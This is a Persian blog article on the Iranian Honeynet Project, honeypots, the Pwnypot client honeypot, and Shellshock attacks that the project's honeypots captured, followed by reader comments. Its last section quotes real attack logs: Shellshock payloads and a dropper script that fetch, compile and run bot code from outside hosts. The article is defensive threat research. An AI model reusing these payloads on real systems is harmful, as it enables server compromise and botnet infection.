پروژه متنباز هانینت ایران
چند سال پیش و پس از انتشار موفق چند شماره از مجله امنیتی اسنوپ (که به دلایلی از ادامه انتشار آن منصرف شدیم)، بنده به همراه چند تن از دوستان و همکاران فعال در حوزه امنیت اطلاعات، تصمیم گرفتیم که فعالیتهایمان را در قالبی جدید ادامه دهیم.
به این صورت بود که در زمستان سال 1388 (ژانویه ۲۰۱۰) بخش ایران پروژه هانینت را راهاندازی کردیم و به صورت رسمی عضو این پروژه بینالمللی شدیم.
پروژه هانینت (The Honeynet Project) یک موسسه تحقیقاتی پیشرو در زمینه امنیت اطلاعات است که بهطور خلاصه فعالیتهایش شامل کشف و تحلیل حملات جدید، مقابله با بدافزارها و توسعه ابزارهای امنیتی متنباز با هدف بهبود امنیت اینترنت است. این موسسه در سال ۱۹۹۹ تاسیس شده و اعضای آن که از شناختهشدهترین محققان امنیتی در سراسر دنیا هستند، به صورت داوطلبانه با آن همکاری میکنند. مأموریت پروژه هانینت به این صورت تعریف شده: «کشف و تحلیل ابزارها، تکنیکها و انگیزههای دخیل در حملات رایانهای و به اشتراکگذاری اطلاعات به دست آمده». برای دستیابی به این اهداف، فعالیتهای این موسسه به سه بخش تحقیق، توسعه ابزار و آگاهیرسانی تقسیم شده است. برای آشنایی بیشتر با فعالیتهای این پروژه و ابزارهای متنباز آن میتوانید به وبسایت www.honeynet.org مراجعه کنید.
هانیپات چیست
فعالیت اصلی پروژه هانینت در زمینه توسعه سیستمهای هانیپات (Honeypot) و کشف حملات جدید با استفاده از این ابزار امنیتی است. هانیپات یک ابزار امنیتی است که از رویکردی بسیار جالب و متفاوت برای کشف حملات رایانهای و شبکه استفاده میکند. هانیپات را میتوان به این صورت تعریف کرد: یک سیستم آسیبپذیر یا به ظاهر آسیبپذیر که ارزش آن در کشف شدن و مورد حمله قرار گرفتن است! این ابزار امنیتی را به عنوان تله در قسمتهای مختلف شبکه و در معرض تعامل با نفوذگر قرار میدهند و از این طریق بدافزارهای فعال در شبکه یا نفوذگران احتمالی را به دام میاندازند. از آنجا که سیستم هانیپات به جز فریب دادن نفوذگر هیچ استفاده عملیاتی در شبکه ندارد و کسی هم از وجود آن مطلع نیست، در نتیجه هر فعالیتی که بر روی این سیستم مشاهده شود را یک حمله یا فعالیت غیرمجاز در نظر میگیریم.
سیستم هانیپات را میتوان به دو صورت شبیهسازی شده هانیپات ک متعامل یا Low-Interaction و سیستم واقعی هانیپات پرتعامل یا High-Interaction پیادهسازی کرد. به دلیل سختی پیادهسازی، نگهداری و تحلیل هانیپاتهای پرتعامل، سازمانها بیشتر از نوع کمتعامل هانیپات استفاده میکنند. از دیدگاهی دیگر میتوان هانیپات را به دو نوع هانیپات سرور و کلاینت دستهبندی کرد. معمولا وقتی از هانیپات صحبت میشود، منظور هانیپات سرور یا سنتی است. این نوع از هانیپات با ارایه سرویس واقعی یا شبیهسازی آن، به صورت passive در انتظار دریافت ارتباط از نفوذگر یا بدافزار میماند. همانطور که از این تعریف مشخص است، این ابزار فقط توانایی شناسایی حملههای سمت سرور را دارد و نمیتواند حملههای سمت کلاینت مانند وبسایتهای مخرب (حملههای Drive-by download) را شناسایی کند. برای شناسایی این نوع حملهها از هانیپات کلاینت استفاده میشود که رویکردی کاملا متفاوت از هانیپات سنتی دارد. در این نوع از هانیپات از برنامه کاربردی سمت کلاینت (واقعی یا شبیهسازی شده) برای بازدید خودکار از وبسایت یا محتوای دیگر و تشخیص مخرب بودن آن استفاده میشود. پس در این حالت علاوه بر اینکه به صورت فعال یا active عمل میشود، باید مکانیزمی نیز برای تشخیص مخرب بودن محتوای بازدید شده داشته باشیم (برعکس هانیپات عادی که تمام ارتباطات و فعالیتهای شناسایی شده را مخرب در نظر میگیرد).
انواع هانیپات
امروزه تمام شرکتهای امنیتی و آنتیویروس از هانیپات به عنوان اصلیترین ابزار کشف حملات و جمعآوری بدافزارهای ناشناخته (اصطلاحا Zero-day) استفاده میکنند. توضیحات بیشتر در مورد انواع دیگر هانیپات و نحوه عملکرد آنها از حوصله این مقاله خارج است و در اینجا به ذکر همین مقدمه اکتفا میکنیم. در ادامه مختصری از فعالیتهای پروژه هانینت ایران و نمونهای جالب از حملات شناسایی شده توسط هانیپاتهای ما ذکر شده است.
فعالیتهای پروژه هانینت ایران از علاقهمندیها و فعالیتهای اصلی ما در پروژه هانینت ایران میتوان به مطالعه و توسعه ابزارهای متنباز هانیپات، روشهای کشف باتنت و بدافزار، تحلیل حملات و تهدیدات نوظهور اشاره کرد. در چند سال اخیر علاوه بر توسعه ابزارهای متنباز مرتبط با هانیپات، کارگاههای آموزشی و ارائههای بسیاری نیز در مراکز دانشگاهی و کنفرانسهایی از جمله انجمن کامپیوتر ایران و کنفرانس سالانه پروژه هانینت برگزار کردهایم.
هانیپات متنباز Pwnypot
در مورد هانیپات کلاینت بر خلاف هانیپاتهای عادی، نوع کمتعامل آن ضعفهای بسیاری دارد و عموما توانایی شناسایی حملات ناشناخته را ندارند. در نوع پرتعامل از هانیپات کلاینت هم تنها یک هانیپات به نام Capture-HPC وجود دارد که ضعف این هانیپات، پیادهسازی زمانبر و سرعت کم تحلیل در مقایسه با انواع کمتعامل آن است. چند سال پیش در یکی از جلسات داخلی پروژه هانینت ایران ایدهای جدید برای کشف حملات ناشناخته و وبسایتهای مخرب به ذهنمان رسید که با تلاش آقای جلایری (توسعهدهنده اصلی Pwnypot) به صورت یک هانیپات کلاینت پیادهسازی شد.
هانیپات متنباز Pwnypot که در ابتدا به نام MCEDP (سیستم کشف و جلوگیری از اجرای کد مخرب) منتشر شد، رویکردی کاملا جدید در هانیپاتهای کلاینت پرتعامل ارایه کرد. هانیپات Capture-HPC مخرب بودن سرور را بر اساس تغییر وضعیت سیستم (تغییرات فایل سیستم، رجیستری و پراسسها) بعد از بازدید از URL مورد نظر و آلوده شدن سیستم تشخیص میدهد. اما در هانیپات Pwnypot از چندین روش تشخیص کد مخرب استفاده شده که این رویکرد به ما اجازه میدهد در زمان اجرای کد نفوذ و قبل از آلوده شدن سیستم، کد مخرب را تشخیص داده و سپس آن را ثبت و تحلیل کنیم. پس از توسعه این هانیپات و ارایه آن در کنفرانس ۲۰۱۳ پروژه هانینت، دو پروژه برای بهبود روشهای کشف و تکمیل رابط کاربری آن تعریف کردیم که در 2013 GSoC (برنامه Google Summer of Code که شرکت گوگل هر سال برای پشتیبانی از نرم افزارهای متنباز و آزاد برگزار میکند) پذیرفته شد و با موفقیت به اتمام رسید.
هانیپات و حمله Shellshock
حتما شما هم در مورد آسیبپذیری اخیر Bash که به مدت 25 سال ناشناخته بوده است مطالبی خواندهاید. کشف این آسیبپذیری در سیستمهای مبتنی بر یونیکس و پیش از این، کشف آسیبپذیری Heartbleed در کتابخانه Openssl که هر دو نیز به یکی از خطرناکترین و جنجالیترین آسیبپذیریهای شناخته شده در تاریخ تبدیل شدند- بحثها و نگرانیهای بسیاری را در مورد امنیت نرمافزارهای متنباز به راه انداخته است. در این مقاله مجال بحث در این مورد نیست و امیدوارم که به زودی فرصتی نیز برای نگارش مطلبی در این زمینه فراهم شود. در اینجا میخواهیم قسمتی از مشاهدات ما از حملات انجام شده به آسیبپذیری Shellshock و نقش سیستمهای هانیپات در کشف این حملات را نشان دهیم. اطلاعاتی که در ادامه ذکر شده توسط هانیپاتهای ما شامل ۳ سیستم هانیپات کم تعامل یا شبیهسازی شده و یک سیستم هانیپات پرتعامل (وب سرور آپاچی) جمعآوری و ثبت شده است. لازم به ذکر است که بیشترین سوءاستفاده ممکن از این آسیبپذیری را از طریق سرویس وب و اسکریپتهای CGI میتوان انجام داد. به همین دلیل ما هم مانند اکثر شرکتهای امنیتی و مراکز تحقیقاتی، حملات مربوط به این آسیبپذیری را در سرویس وب هانیپات (پورت ۸۰) مشاهده و ثبت کردهایم.
از تاریخ ۲ مهر ۱۳۹۳ که آسیبپذیری Shellshock به طور عمومی منتشر شد تا تاریخ نگارش این مقاله (18 مهر) هانیپاتهای ما بیش از ۵۰ حمله برای سوءاستفاده از این آسیبپذیری شناسایی کردهاند. قسمتی از این حملات شناسایی شده شامل پویشهای انجام شده توسط ابزارهای پویش مانند Masscan است. بخشی از این پویشها با اهداف تحقیقاتی و بخش دیگری نیز با هدف شناسایی سیستمهای آسیبپذیر و سوءاستفاده از آنها انجام شده است.
1 |
[25/Sep/2014:02:19:43 -0400] "GET / HTTP/1.0" 200 3161 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" |
قسمت دیگری از حملات شناسایی شده توسط هانیپات، بدافزارها یا باتهایی را نشان میدهد که به طور خودکار به دنبال شناسایی و آلوده کردن سیستمهای آسیبپذیر هستند. در این مدت چند نمونه جالب از این بدافزارها شناسایی کردیم که در ادامه قسمتی از اطلاعات مربوط به آنها ذکر شده است.
1 |
[28/Sep/2014:01:27:49 -0400] "GET / HTTP/1.0" 200 3161 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" |
همان طور که میبینید، نفوذگر با ارسال یک درخواست وب و سوءاستفاده از آسیبپذیری Bash، فایلی با نام regular.bot را بر روی سرور بارگذاری و اجرا کرده است. در ادامه محتوای این فایل که شامل دستوراتی برای دریافت، کامپایل و اجرای بدافزار نهایی در سیستم هدف است را مشاهده میکنید.
1 2 3 4 5 6 |
wget http://205.237.100.170/manual/a.c -O /tmp/a.c; gcc -o /tmp/.a /tmp/a.c; chmod +x /tmp/.a; /tmp/.a; rm -rf /tmp/.a; wget http://205.237.100.170/manual/b -O /tmp/b;chmod +x /tmp/b;/tmp/b;rm -rf /tmp/b |
در نمونهای دیگر از حملات ثبت شده، چند بدافزار مبتنی بر پرل (Perl Bot) دیده شد که در ادامه قسمتی از اطلاعات مربوط به آنها نیز آورده شده است.
1 2 |
Poko Perlbot (Perl.Shellbot): [04/Oct/2014:11:21:03 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 303 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget https://173.15.111.29/user --no-check-certificate;curl -O https://173.15.111.29/user -k ; perl /tmp/user;rm -rf /tmp/user\"" |
تشخیص اسکریپت دریافت شده در حمله توسط آنتیویروس
1 2 |
LinuxNet perlbot: [01/Oct/2014:05:35:11 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 287 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\"" |
درباره فرشید نوتاش حقیقت
همیشه نیازمند یک منبع آموزشی فارسی در حوزه نرمافزارهای آزاد/ متنباز و سیستمعامل گنو/لینوکس بودم. از این رو این رسالت رو برای خودم تعریف کردم تا رسانه «محتوای باز» رو بوجود بیارم.
نوشتههای بیشتر از فرشید نوتاش حقیقت3 دیدگاه
به گفتگوی ما بپیوندید و دیدگاه خود را با ما در میان بگذارید.
دیدگاهتان را بنویسید لغو پاسخ
این سایت از اکیسمت برای کاهش هرزنامه استفاده می کند. بیاموزید که چگونه اطلاعات دیدگاه های شما پردازش میشوند.
راستش چیزی که در بند اول نوشتید راجع به اینکه جامعه متنباز ایران مشارکت کمی داشتند من رو کمی دلسرد کرد نسبت به اینکه فعالیتهایی که داشتم دیده نشده. البته بنده با جامعه ایران کار نمیکنم. ولی در توسعه نرمافزارهای آزاد به صورت فعال مشارکت میکنم.
این مطلب یه مقدار قدیمی و بازنشره.
با این حال ویرایش و اصلاح شد
اینکه مطالب قدیمی اصلاح و بروزرسانی بشن بنظرم خیلی خوب میتونه باشه. البته من خودم هم خیلی مواقع حوصله بروزرسانی ندارم. ولی بروزرسانی مطلب باعث میشه که مطلب هنوز هم مرتبط و بدردبخور باشه. میشه همزمان با بروزرسانی بازنشر هم کرد.